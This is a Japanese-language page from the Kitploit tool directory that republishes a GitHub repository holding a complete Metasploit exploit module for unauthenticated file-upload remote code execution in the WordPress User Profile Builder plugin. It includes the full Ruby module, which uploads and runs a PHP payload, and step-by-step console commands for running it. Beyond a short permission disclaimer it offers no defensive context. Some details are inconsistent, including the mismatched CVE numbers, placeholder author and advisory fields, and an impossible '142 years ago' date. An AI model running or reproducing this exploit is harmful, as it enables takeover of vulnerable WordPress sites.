Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6366 — Metasploitエクスプロイトモジュール。CVE-2024-6364、WordPress User Profile Builder 3.11.8以前における認証なしのファイルアップロードによるリモートコード実行に対応し、PHPペイロードをアップロードして実行します。 | Kitploit
ツール/GitHubGitHub/abdurahmon3236/cve-2024-6366
エクスプロイトフレームワーク脆弱性分析コード分析ウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubabdurahmon3236/cve-2024-6366

CVE-2024-6366

Metasploitエクスプロイトモジュール。CVE-2024-6364、WordPress User Profile Builder 3.11.8以前における認証なしのファイルアップロードによるリモートコード実行に対応し、PHPペイロードをアップロードして実行します。

リポジトリを見る
142年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

バージョン3.11.8未満のUser Profile Builder WordPressプラグインのRCE脆弱性を悪用するMetasploitモジュールを作成するには、メディアファイルのアップロード機能における適切な認可の欠如を利用する必要があります。以下に、そのようなMetasploitモジュールを作成する方法を示します。

Metasploitモジュール

以下のコードをwordpress_user_profile_builder_rce.rbとして、Metasploit Frameworkインストール先のmodules/exploits/unix/webappディレクトリに保存してください。

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
        The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
        the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # Replace with the actual CVE identifier
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("Uploading PHP payload...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("Payload uploaded successfully: #{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
    end
  end

  def execute_command(php_path)
    print_status("Executing PHP payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end

使用方法

  1. モジュールの保存: モジュールを wordpress_user_profile_builder_rce.rb として、Metasploit Frameworkインストール先の modules/exploits/unix/webapp ディレクトリに保存します。

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
    
  2. Metasploitの起動: ターミナルを開き、以下のコマンドを実行してMetasploit Frameworkを起動します。

    root@kitploit:~
    msfconsole
    
  3. 新しいモジュールの使用: Metasploitコンソールで、以下のコマンドを使用して新しいエクスプロイトモジュールを読み込みます。

    root@kitploit:~
    use exploit/unix/webapp/wordpress_user_profile_builder_rce
    
  4. 設定と実行: RHOSTS や TARGETURI などの必要なオプションを設定します。その後、エクスプロイトを実行します。

    root@kitploit:~
    msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
    

重要な考慮事項

  • システムのテストや悪用を行う前に、適切な権限があることを確認してください。
  • このモジュールは基本的なテンプレートであり、特定のセットアップに対して動作させるため、または特定の目標を達成するために修正が必要な場合があります。
  • 本番システムで使用する前に、必ず安全で管理された環境でモジュールをテストしてください。

このMetasploitモジュールは、脆弱性のあるWordPressインストールに悪意のあるPHPファイルをアップロードし、それを実行してリモートコード実行を達成します。脆弱性の具体的な性質やターゲット環境に応じて、ペイロードとモジュールを適宜調整してください。

ツールをダウンロード